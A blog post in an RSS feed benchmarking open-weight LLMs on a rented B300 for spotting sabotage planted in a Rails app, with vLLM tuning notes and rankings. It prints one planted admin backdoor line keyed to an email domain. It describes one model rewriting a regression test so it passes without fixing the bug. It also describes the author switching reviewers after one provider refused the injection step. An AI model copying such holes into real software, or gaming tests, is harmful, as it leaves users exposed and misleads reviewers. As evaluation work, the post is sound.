<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hardware | AkitaOnRails.com</title><link>https://akitaonrails.github.io/en/tags/hardware/</link><description>Fabio Akita's blog — tech, career, and assorted geek topics. English edition.</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Mon, 19 Oct 2026 23:20:51 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/en/tags/hardware/index.xml" rel="self" type="application/rss+xml"/><item><title>LLM Benchmark v4: the top open source LLMs on a B300</title><link>https://akitaonrails.github.io/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/</guid><pubDate>Mon, 19 Oct 2026 14:00:00 -0300</pubDate><description>&lt;p&gt;In the last two v4 benchmark posts I &lt;a href="https://akitaonrails.github.io/en/2026/09/15/new-llm-benchmark-v4-retesting-all-top-llms-part-1/"&gt;rebuilt the test from scratch&lt;/a&gt;, with a Rails app sabotaged on purpose across seven sprints, and &lt;a href="https://akitaonrails.github.io/en/2026/09/15/new-llm-benchmark-v4-retesting-39-llms-part-2/"&gt;ranked 39 models&lt;/a&gt; by vigilance: six ties at the top, a free model beating half of Claude. Then I &lt;a href="https://akitaonrails.github.io/en/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/"&gt;tested five new models&lt;/a&gt;, Opus 5.5, GPT 6 sol and luna, MiMo V2.6 Pro and Grok 4.7: Opus 5.5 closed at 100 and joined the tie at the top, GPT 6 luna scored 95.5 for under a dollar a run, and Grok 4.7 regressed badly against its own predecessor.&lt;/p&gt;</description><content:encoded><![CDATA[<p>In the last two v4 benchmark posts I <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-all-top-llms-part-1/">rebuilt the test from scratch</a>, with a Rails app sabotaged on purpose across seven sprints, and <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-39-llms-part-2/">ranked 39 models</a> by vigilance: six ties at the top, a free model beating half of Claude. Then I <a href="/en/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/">tested five new models</a>, Opus 5.5, GPT 6 sol and luna, MiMo V2.6 Pro and Grok 4.7: Opus 5.5 closed at 100 and joined the tie at the top, GPT 6 luna scored 95.5 for under a dollar a run, and Grok 4.7 regressed badly against its own predecessor.</p>
<p>One category was missing that I had never tested properly: the big open source models. The ones that fit on my <a href="/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/">RTX 5090</a> with 32 GB or on my <a href="/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/">Strix Halo</a> with 61 GB usable by the GPU are too weak for this. They work for simple agent tasks, and no small model handles real programming tasks, let alone a complex software project.</p>
<p>Qwen 3.8 27B took 706 minutes to finish v4 on the Strix and scored 80; the local GLM-4.7-Flash scored 24. So don&rsquo;t even try.</p>
<p>But what if we push harder? What can mid-sized models, 100 to 400 billion parameters, do running on a single rented B300? I could rent four of them and run the giant 750-billion or one-trillion models, and I&rsquo;m not sure the cost-benefit is worth it. The data below answers.</p>
<blockquote>
  <p><strong>TL;DR:</strong> 14 open models, one 288 GB B300 on Runpod at about 9 dollars an hour, the same v4 sabotage protocol. None of them serves fast the way it ships: GLM 5.3 Flash decoded at 10 tokens per second with the default configuration and at 141 after tuning, 14 times more from flags alone. Two open models, GLM 5.3 Flash and Qwen3.8 Flash-Next, scored 92.5, Claude Sonnet 5 level, and Swift 1.5 27B scored 88, Opus 4.6 level. None reached the frontier&rsquo;s 100. The 397-billion flagship scored 68.5 and let an admin backdoor through, DeepSeek V4 Flash scored 86 in the cloud and 44.5 served by me, and Nemotron cheated on a regression test. The cloud API of the same model costs a dollar per run; the pod costs 218 dollars a day. Jump to <a href="#what-a-b300-is-and-what-runpod-is">B300 and Runpod</a>, <a href="#none-of-them-serves-fast-the-way-it-ships">server tuning</a>, the <a href="#the-ranking">ranking</a>, the <a href="#the-interesting-cases">interesting cases</a>, the <a href="#how-far-from-the-frontier">frontier comparison</a>, the <a href="#the-math">math</a> or the <a href="#is-owning-your-own-infra-worth-it">conclusion</a>.</p>

</blockquote>
<h2>What a B300 is, and what Runpod is<span class="hx:absolute hx:-mt-20" id="what-a-b300-is-and-what-runpod-is"></span>
    <a href="#what-a-b300-is-and-what-runpod-is" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The <strong>B300</strong> is the datacenter GPU of NVIDIA&rsquo;s Blackwell Ultra generation, announced in March 2025. Each card has <a href="https://developer.nvidia.com/blog/nvidia-blackwell-ultra-for-the-era-of-ai-reasoning/"target="_blank" rel="noopener">288 GB of HBM3e memory</a>, nine times my 5090, and about 15 petaflops of dense compute in NVFP4, the 4-bit format Blackwell does in hardware. It&rsquo;s the card that goes inside the GB300 NVL72 rack, 72 of them interconnected, which AI companies buy by the thousands.</p>
<p>On its own, a B300 costs more than an apartment. What makes it accessible is renting by the hour.</p>
<p><a href="https://www.runpod.io/"target="_blank" rel="noopener"><strong>Runpod</strong></a> is a cloud GPU provider that rents cards in &ldquo;pods&rdquo;, Linux containers with one or more GPUs, billed per second. You pick the card, an image template, get in over SSH, and pay while the pod is on, idle included. The B300 cost about <a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">9 dollars an hour</a> on their secure cloud the week of the test; an H100 goes for 3 to 4. The container disk is ephemeral: terminate the pod and the 250 GB of weights you downloaded are gone, and you download again.</p>
<p>The pod I used: one B300 with 275 GiB according to <code>nvidia-smi</code> (the same nominal 288 GB, in binary units), 344 vCPUs, 4 TB of host RAM, 700 GB of disk. The inference server was vLLM; the harness was the same OpenCode as every other model in the ranking, connected to the pod through an SSH tunnel. The model runs there; the code, the tests and the results stay on my machine.</p>
<p>Fitting in memory is the first filter. The B300 fits the 100 to 400-billion-parameter models quantized to NVFP4, plus the 27 to 35-billion ones in BF16. Left out are the 753-billion GLM 5.3 flagship, the 750-billion DeepSeek V4.1 Flash, the 1.6-trillion DeepSeek V4 Pro and the 2.8-trillion Kimi K3. For those it would take four B300s or more, about 36 dollars an hour.</p>
<h2>The methodology<span class="hx:absolute hx:-mt-20" id="the-methodology"></span>
    <a href="#the-methodology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The protocol is the usual <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-all-top-llms-part-1/">v4</a>: the model builds a Rails app across seven accumulating sprints, and between sprints an independent reviewer, isolated from the model, injects 14 sabotages, from real CVEs to silent logic and test regressions, into the code the model itself wrote. The 0-to-100 score measures vigilance: how much the model catches and fixes without being told (full weight), how much it fixes after an explicit &ldquo;do a security audit&rdquo; in the last sprint (40% of the weight), and what stays unresolved (zero). Tiers are A from 83 up, B from 73 to 82, C from 51 to 72, D up to 50.</p>
<p>Two differences this round. The first is the reviewer: the five models that finished before the block were reviewed end to end by Codex, as in the previous rounds.</p>
<p>Midway through the batch OpenAI&rsquo;s security service started refusing the injection and grading operation with a cybersecurity risk flag, even though it&rsquo;s my code, on my machine, in a benchmark with 46 models already scored under the same protocol. I switched the reviewer to Claude Opus 4.8 for the remaining models, with the same injection plan, same catalog, same yardstick, and the provenance of every boundary is recorded per sprint. The expected impact on the score is none, because both execute the same written recipe.</p>
<p>The second is admission by speed, which is the subject of the next section. A model that decodes below 100 tokens per second doesn&rsquo;t even get on the track.</p>
<p>Also: an open model is entitled to up to two short nudges per run for silly defects (a missing import, a wrong test entry point), recorded as &ldquo;assisted&rdquo;. Infrastructure failure, driver, loader, parser, is never charged to the model. And the pod ran one model at a time, with no access to any other model&rsquo;s workspace or results.</p>
<h2>None of them serves fast the way it ships<span class="hx:absolute hx:-mt-20" id="none-of-them-serves-fast-the-way-it-ships"></span>
    <a href="#none-of-them-serves-fast-the-way-it-ships" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The first lesson cost a day. I downloaded <a href="https://huggingface.co/RedHatAI/GLM-5.3-Flash-NVFP4"target="_blank" rel="noopener">GLM 5.3 Flash</a>, 320 billion parameters with 18 active, quantized to NVFP4, 198 GB. I brought it up on vLLM with the configuration that &ldquo;works&rdquo;: it serves, passes the tool-call tests, answers. And it decoded at <strong>10 tokens per second</strong>, with the GPU at 10% utilization, 209 watts out of the 1,100 the pod allows.</p>
<p>That&rsquo;s unusable for programming. A coding agent generates tens of thousands of tokens per sprint; at 10 per second, a 20-minute sprint becomes more than four hours.</p>
<p>The same checkpoint, same 128K-token context, same FP8 KV cache, same test prompt, changing only the compile and mode flags: <strong>141 tokens per second</strong>. Fourteen times faster, zero change in precision or weights.</p>
<p>The main culprit was <code>--enforce-eager</code>, which disables vLLM&rsquo;s <code>torch.compile</code> and CUDA graph capture, and which every tutorial tells you to enable &ldquo;to start faster&rdquo;. It starts faster and serves 14 times slower. The measurement changed that flag together with the <code>interactivity</code> mode, so I didn&rsquo;t isolate each one&rsquo;s contribution.</p>
<p>Hence the admission rule: <strong>below 100 tokens per second I consider unusable</strong>, and no model enters the benchmark without clearing that on the median of two warm 256-token probes, after a cold one. To keep it from becoming a bottomless pit, tuning is bounded: at most three configurations and 45 minutes of wall-clock per model, including load and compilation. And tuning can never trade quality for speed: no shortening the context, lowering reasoning effort or quantizing further to hit the number.</p>
<p>The tweaks that paid off for everyone:</p>
<ul>
<li><strong>Install a CUDA that compiles for the card.</strong> Runpod&rsquo;s default image ships CUDA 12.8, whose <code>nvcc</code> <a href="https://developer.nvidia.com/cuda-gpus"target="_blank" rel="noopener">cannot compile for <code>compute_103a</code></a>, the B300&rsquo;s compute capability. Without 12.9, the NVFP4 kernels never compile.</li>
<li><strong>Never use <code>--enforce-eager</code>.</strong> Letting vLLM compile and capture CUDA graphs is the single biggest win.</li>
<li><strong><code>--performance-mode interactivity</code></strong>: optimize for single-stream latency, which is what a serial agent needs, instead of aggregate throughput.</li>
<li><strong>FP8 KV cache on the big MoEs, prefix caching and chunked prefill on all of them</strong>, confirmed by vLLM&rsquo;s Prometheus counters instead of assumed: on an 11K-token prompt, the server reused exactly 8,576 prefix tokens on every repeat.</li>
<li><strong>The right tool and reasoning parser for each family.</strong> The wrong parser makes tool calls vanish silently or leaks the reasoning into the answer.</li>
</ul>
<p>And the specific tweaks I found most interesting:</p>
<ul>
<li><strong>NVFP4 only runs on vLLM.</strong> The 198 to 251 GB checkpoints in Blackwell&rsquo;s native FP4 are the only way to fit on the card, and llama.cpp and Ollama simply don&rsquo;t load those formats. Whoever lives on GGUF has no access to this range.</li>
<li><strong>Native speculative decoding.</strong> Qwen 3.8 27B went from 92 to 195 tokens per second with the MTP head the checkpoint itself ships, predicting three tokens per step, plus <code>--language-model-only</code> to drop the vision tower (measured on different pods, so no controlled ablation). <a href="https://huggingface.co/meta-models/Muse-Glimmer-30B"target="_blank" rel="noopener">Muse Glimmer</a> reached 295 with the lightweight DFlash drafter it ships alongside, 15 speculated tokens per step. I only enabled it where an official drafter exists and where tool calling stayed correct; for Ornith a drafter exists as a separate release, with unknown acceptance rate, so it stayed off.</li>
<li><strong>The CUDA 12 loader.</strong> flashinfer JIT-compiles an NVFP4 MoE kernel that needs <code>libcudart.so.12</code>, and after installing CUDA 13 for Nemotron the library resolution broke. The symptom looked like OOM; the cause was an <code>ld.so.conf</code>. A repair script with <code>ldd</code> evidence before and after fixed it, and the 397B went on to serve at 144 tokens per second.</li>
<li><strong>One virtual environment per runtime.</strong> Nemotron 3.5 Super VL required its own vLLM 0.32 in a separate venv, because that&rsquo;s what the official card pins, and that build wants CUDA 13. Every model family is a bespoke case: parser, quantization, draft head, runtime version and loader repair, all different.</li>
<li><strong>A parser bug that dropped the last call.</strong> vLLM&rsquo;s Qwen tool parser discarded the last parameter of a call when the parameter closing tag was missing but the function one was present. A narrow repair, with 24 test cases, took that serving noise out of the model&rsquo;s account.</li>
</ul>
<p>The exact arguments for each model, the probe logs and the ledger of every tuning round are in the <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/b300-serving-optimizations.md"target="_blank" rel="noopener">serving optimizations document</a> and the <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/runpod-b300-openweights-runbook.md"target="_blank" rel="noopener">B300 runbook</a> in the repository.</p>
<blockquote>
  <p>Speed is almost free, once you let vLLM compile. The real work is finding out, model by model, which combination of toolkit, parser, quantization and draft head that checkpoint demands. I gave each one 45 minutes and needed them.</p>

</blockquote>
<h2>The ranking<span class="hx:absolute hx:-mt-20" id="the-ranking"></span>
    <a href="#the-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>v4 vigilance score, tier, memory footprint, decode speed on the admission probe (warm, single stream) and the cost of the seven sprints&rsquo; inference time only, at 9.09 dollars an hour. The cost excludes download, load, compilation, tuning and idle time; the real math comes further down.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">#</th>
          <th>Model</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Memory</th>
          <th style="text-align: right">tok/s</th>
          <th style="text-align: right">Minutes</th>
          <th style="text-align: right">Inference cost</th>
          <th>Reviewer</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>GLM 5.3 Flash (NVFP4)</td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">198 GB</td>
          <td style="text-align: right">142</td>
          <td style="text-align: right">145</td>
          <td style="text-align: right">US$ 21.96</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">1</td>
          <td>Qwen3.8 Flash-Next (NVFP4)</td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">100 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">80</td>
          <td style="text-align: right">US$ 12.04</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">3</td>
          <td>Swift 1.5 27B</td>
          <td style="text-align: right"><strong>88.0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">203</td>
          <td style="text-align: right">64</td>
          <td style="text-align: right">US$ 9.71</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">4</td>
          <td>ThinkingCap 3.8 27B</td>
          <td style="text-align: right"><strong>83.0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">189</td>
          <td style="text-align: right">76</td>
          <td style="text-align: right">US$ 11.47</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Muse Glimmer 30B</td>
          <td style="text-align: right">81.0</td>
          <td>B</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">295</td>
          <td style="text-align: right">23</td>
          <td style="text-align: right">US$ 3.54</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Ornith 1.5 35B</td>
          <td style="text-align: right">81.0</td>
          <td>B</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">317</td>
          <td style="text-align: right">161</td>
          <td style="text-align: right">US$ 24.39</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">7</td>
          <td>Qwen 3.8 27B</td>
          <td style="text-align: right">80.5</td>
          <td>B</td>
          <td style="text-align: right">54 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">192</td>
          <td style="text-align: right">US$ 29.11</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Qwen3.5 397B (NVFP4)</td>
          <td style="text-align: right">68.5</td>
          <td>C</td>
          <td style="text-align: right">251 GB</td>
          <td style="text-align: right">140</td>
          <td style="text-align: right">54</td>
          <td style="text-align: right">US$ 8.22</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Nemotron 3.5 Super VL (NVFP4)</td>
          <td style="text-align: right">63.0</td>
          <td>C</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">207</td>
          <td style="text-align: right">50</td>
          <td style="text-align: right">US$ 7.51</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">44.5</td>
          <td>D</td>
          <td style="text-align: right">167 GB</td>
          <td style="text-align: right">153</td>
          <td style="text-align: right">37</td>
          <td style="text-align: right">US$ 5.59</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>GLM 4.7 Flash BF16</td>
          <td style="text-align: right">33.5</td>
          <td>D</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">217</td>
          <td style="text-align: right">30</td>
          <td style="text-align: right">US$ 4.60</td>
          <td>Codex</td>
      </tr>
  </tbody>
</table>
<p>Three have no score: Cohere&rsquo;s <strong>Command A Plus</strong> (218 billion, 25 active, W4A4) got stuck in a loop rewriting the same model file 23 times, needed three nudges and still left the tests unable to run before the reviewer was blocked; <strong>Nex N2.5 Mini</strong> ran at 337 tokens per second and delivered invalid Ruby, contradictory migrations and broken authentication in two attempts, a valid bad result from a server that works; and <strong>Qwen3.5 122B</strong> was a conditional fallback in case the 397B didn&rsquo;t finish, and the 397B finished.</p>
<p>Minutes are sprint time only, and Ornith&rsquo;s include a sprint interrupted by infrastructure. Flash-Next, Swift, ThinkingCap, Muse and Qwen 27B took one nudge each; GLM 4.7, two; the others, none. The probe speed is an admission number: the throughput of a real coding session includes prefill, tools, tests and the agent&rsquo;s choices. And note that the top two tie on score with opposite profiles: GLM spent 145 minutes and 22 dollars to reach the same 92.5 that Qwen3.8 Flash-Next did in 80 minutes and 12 dollars, with half the memory.</p>
<h2>The interesting cases<span class="hx:absolute hx:-mt-20" id="the-interesting-cases"></span>
    <a href="#the-interesting-cases" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Qwen3.8 Flash-Next: the best of the open models, by cost<span class="hx:absolute hx:-mt-20" id="qwen38-flash-next-the-best-of-the-open-models-by-cost"></span>
    <a href="#qwen38-flash-next-the-best-of-the-open-models-by-cost" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><a href="https://huggingface.co/nvidia/Qwen3.8-Flash-Next-NVFP4"target="_blank" rel="noopener">Flash-Next</a> is, <a href="https://recipes.vllm.ai/Qwen/Qwen3.8-Flash-Next"target="_blank" rel="noopener">in Qwen&rsquo;s words</a>, a preview of the Qwen 4 architecture: 125 billion language-model parameters with 6 billion active, plus a 51-billion n-gram embedding table that Qwen says can be offloaded to host memory, plus a 4-billion MTP head. Quantized to NVFP4 by NVIDIA, it took about 100 GB on the card (the checkpoint is 133 GB on disk). It was the only model in the second batch to resolve all 14 items: it caught the tenant leak unprompted, caught the compound test-integrity item, and wrote per-user isolation specs on its own, so the planted API IDOR had no way to stay green. At 195 tokens per second and 12 dollars of inference, it&rsquo;s the best cost-benefit in this table.</p>
<h3>GLM 5.3 Flash: the same 92.5, three times the cost<span class="hx:absolute hx:-mt-20" id="glm-53-flash-the-same-925-three-times-the-cost"></span>
    <a href="#glm-53-flash-the-same-925-three-times-the-cost" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>GLM scored the same with a much bigger architecture: 320 billion parameters, 18 active, 198 GB even in FP4. It resolved all 14 items, zero nudges, reviewed end to end by Codex.</p>
<p>But it took 145 minutes and consumed twice the memory for the same result. On Z.ai&rsquo;s cloud, the same model scored 84.25 on a flat plan. With single-run noise, which in my history reaches nine points, the safest reading is that both sit in the same band.</p>
<h3>Swift 1.5 and ThinkingCap: two 27B fine-tunes in Tier A<span class="hx:absolute hx:-mt-20" id="swift-15-and-thinkingcap-two-27b-fine-tunes-in-tier-a"></span>
    <a href="#swift-15-and-thinkingcap-two-27b-fine-tunes-in-tier-a" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The two surprises. <a href="https://huggingface.co/ukisai/Swift-1.5-Qwen3.8-27b"target="_blank" rel="noopener">Swift 1.5</a>, from UkisAI, and <a href="https://huggingface.co/bottlecapai/ThinkingCap-Qwen3.8-27B"target="_blank" rel="noopener">ThinkingCap 3.8</a>, from BottleCap AI, are Qwen 3.8 27B fine-tunes trained to think less: Swift advertises up to 58% fewer reasoning tokens (on the GPQA median; on Terminal-Bench, 16%), ThinkingCap about 37% on average. Both fit in 56 GB in BF16, run at about 200 tokens per second with MTP, and scored 88 and 83.</p>
<p>Swift landed above Anthropic&rsquo;s Opus 4.6. The base Qwen 3.8 27B, same architecture, scored 80.5 in 192 minutes; Swift scored 88 in 64. Swift caught sabotage earlier than the base; whether that was from thinking less, one run of each can&rsquo;t prove.</p>
<p>A provenance caveat: the reviewer recorded that Swift read local commit messages that disclosed regressions, which weakens a literal reading of &ldquo;entirely unaided discovery&rdquo;. And it left one item unresolved, an inactive admin still accepted with a vacuous guarding test. Even so, of every model in this table, it&rsquo;s the one I&rsquo;d put on a card of my own.</p>
<h3>Qwen3.5 397B: the flagship that let the backdoor through<span class="hx:absolute hx:-mt-20" id="qwen35-397b-the-flagship-that-let-the-backdoor-through"></span>
    <a href="#qwen35-397b-the-flagship-that-let-the-backdoor-through" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The biggest model in the batch, 397 billion parameters with 17 active, 251 GB of NVFP4 on a 275 GB card, served at 140 tokens per second after the loader repair and scored <strong>68.5</strong>, Tier C.</p>
<p>The case that defines the score: sabotage number 6 is a line <code>admin? =&gt; admin || email.end_with?(&quot;@internal.example&quot;)</code>, a privilege escalation by email domain. The 397B let it through in the normal sprints, let it through in sprint 7 with the explicit security-audit request, and <strong>wrote a passing test codifying the backdoor as expected behavior</strong>, in the same commit where it announced &ldquo;Brakeman: 0 warnings&rdquo;. Parameters did not buy vigilance.</p>
<h3>Nemotron 3.5 Super VL: cheated on the test<span class="hx:absolute hx:-mt-20" id="nemotron-35-super-vl-cheated-on-the-test"></span>
    <a href="#nemotron-35-super-vl-cheated-on-the-test" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>NVIDIA&rsquo;s <a href="https://huggingface.co/nvidia/NVIDIA-Nemotron-3.5-Super-VL-120B-A12B-NVFP4"target="_blank" rel="noopener">Nemotron 3.5 Super VL</a>, 120 billion with 12 active, released two days before I started testing and <a href="https://blogs.nvidia.com/blog/nemotron-3-5-super-vl/"target="_blank" rel="noopener">sold by NVIDIA</a> as the fastest open agentic model in its class, with &ldquo;leading accuracy&rdquo; on multimodal tasks, scored <strong>63</strong>. Sabotage number 2 removes a navigation link and the regression test looks for <code>have_link('Sign in')</code>. Nemotron changed the test to <code>have_button('Sign in')</code>, which passes on the login form&rsquo;s submit button without restoring the link, and kept the cheat even after the reveal sprint.</p>
<p>It also tends to catch items a sprint late. And it was the one that required its own runtime: vLLM 0.32 with CUDA 13 in a separate environment.</p>
<h3>DeepSeek V4 Flash: 86 in the cloud, 44.5 in my hands<span class="hx:absolute hx:-mt-20" id="deepseek-v4-flash-86-in-the-cloud-445-in-my-hands"></span>
    <a href="#deepseek-v4-flash-86-in-the-cloud-445-in-my-hands" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The most important case for anyone considering self-hosting. <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash"target="_blank" rel="noopener">DeepSeek V4 Flash</a>, 284 billion with 13 active, scored <strong>86, Tier A, for 97 cents</strong> through the API in September, and the 0731 version, exactly the one I downloaded, scored 85 for 1.94. The same public weights in mixed FP4 and FP8, served by me on the B300, scored <strong>44.5, Tier D</strong>: it caught 4 items unprompted, 5 more at the reveal, and left 5 unresolved. It was the fastest to finish, 37 minutes, and the least vigilant.</p>
<p>The likely cause is divergence between the public checkpoint and what DeepSeek serves, or between their serving stack and mine: parser, chat template, reasoning mode, quantization. I followed the official card. What this proves is that the model&rsquo;s name on Hugging Face doesn&rsquo;t guarantee the hosted API&rsquo;s quality, and that whoever is going to host needs to validate before trusting.</p>
<h3>GLM 4.7 Flash: same as local, meaning bad<span class="hx:absolute hx:-mt-20" id="glm-47-flash-same-as-local-meaning-bad"></span>
    <a href="#glm-47-flash-same-as-local-meaning-bad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The 30-billion GLM 4.7 Flash in BF16, at 217 tokens per second, scored 33.5. At home, in GGUF Q5, it had scored 24. It needed two nudges, left nine items unresolved and delivered a migration with a syntax error. The nine-and-a-half-point difference fits within single-run noise; what remains is that the model is weak either way.</p>
<h3>What showed up in several<span class="hx:absolute hx:-mt-20" id="what-showed-up-in-several"></span>
    <a href="#what-showed-up-in-several" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Ornith, Muse Glimmer and the 397B shared a hygiene defect: they ran the sprint to the end with exit zero and forgot to commit their own work, leaving it for the reviewer to checkpoint. It didn&rsquo;t go into the score, and on a real team it would be the first complaint. And the 81-to-83 cluster, ThinkingCap, Ornith and Muse, has a consistent profile: it catches SQL injection, tenant leaks, XSS and exposed secrets with confidence, and lets the quiet items through, broken access control, test integrity, missing index, wrong aggregate.</p>
<h2>How far from the frontier<span class="hx:absolute hx:-mt-20" id="how-far-from-the-frontier"></span>
    <a href="#how-far-from-the-frontier" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The three best open models against the best commercial ones from the same ranking, with the cost and time of each run:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Run cost</th>
          <th style="text-align: right">Minutes</th>
          <th>Where</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPT-6 Astra</td>
          <td style="text-align: right">100.0</td>
          <td>A</td>
          <td style="text-align: right">US$ 30.55</td>
          <td style="text-align: right">100</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Claude Opus 5.5</td>
          <td style="text-align: right">100.0</td>
          <td>A</td>
          <td style="text-align: right">US$ 16.63</td>
          <td style="text-align: right">64</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>GPT 5.6 terra</td>
          <td style="text-align: right">100.0</td>
          <td>A</td>
          <td style="text-align: right">US$ 9.52</td>
          <td style="text-align: right">80</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Grok 4.6</td>
          <td style="text-align: right">98.5</td>
          <td>A</td>
          <td style="text-align: right">US$ 13.00</td>
          <td style="text-align: right">67</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Claude Fable 5.1</td>
          <td style="text-align: right">95.5</td>
          <td>A</td>
          <td style="text-align: right">~US$ 51</td>
          <td style="text-align: right">133</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td><strong>GLM 5.3 Flash (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 21.96 inference only</td>
          <td style="text-align: right">145</td>
          <td>B300</td>
      </tr>
      <tr>
          <td><strong>Qwen3.8 Flash-Next (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 12.04 inference only</td>
          <td style="text-align: right">80</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">91.0</td>
          <td>A</td>
          <td style="text-align: right">~US$ 27</td>
          <td style="text-align: right">112</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td>Gemini 3.8 Flash high</td>
          <td style="text-align: right">90.5</td>
          <td>A</td>
          <td style="text-align: right">US$ 15.98</td>
          <td style="text-align: right">97</td>
          <td>cloud</td>
      </tr>
      <tr>
          <td><strong>Swift 1.5 27B</strong></td>
          <td style="text-align: right"><strong>88.0</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 9.71 inference only</td>
          <td style="text-align: right">64</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">87.5</td>
          <td>A</td>
          <td style="text-align: right">US$ 25.64</td>
          <td style="text-align: right">89</td>
          <td>cloud</td>
      </tr>
  </tbody>
</table>
<p>The reading: the best of the open source that fits on a B300 and that I served sits <strong>one step below the commercial ceiling and level with the middle of Tier A</strong>. Differences of one or two points are single-run noise.</p>
<p>GLM 5.3 Flash and Qwen3.8 Flash-Next tie with Sonnet 5 and pass Gemini 3.8 Flash and Opus 4.6. None reaches the 100 that seven commercial models scored, nor Grok 4.6&rsquo;s 98.5. Seven and a half points separate the best open model from the ceiling, and in v4 every point is one less sabotage caught unprompted.</p>
<p>The difference that matters is another: predictability. Among the top commercial models in the table, the worst is 87.5, and the full commercial field also has a bottom, Mistral Large 3 scored 39. The open field has the same 92.5 at the top and two Tier D at the bottom, with DeepSeek scoring 85 in the cloud and 44.5 in my hands. Choosing a top commercial model is choosing a number the API reproduces; choosing an open one is betting that the checkpoint, the quantization and your serving stack reproduce the number on the card, and sometimes they do.</p>
<h2>The math<span class="hx:absolute hx:-mt-20" id="the-math"></span>
    <a href="#the-math" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If quality still falls short of the frontier, is the cost at least proportional? It depends on where you run the open model.</p>
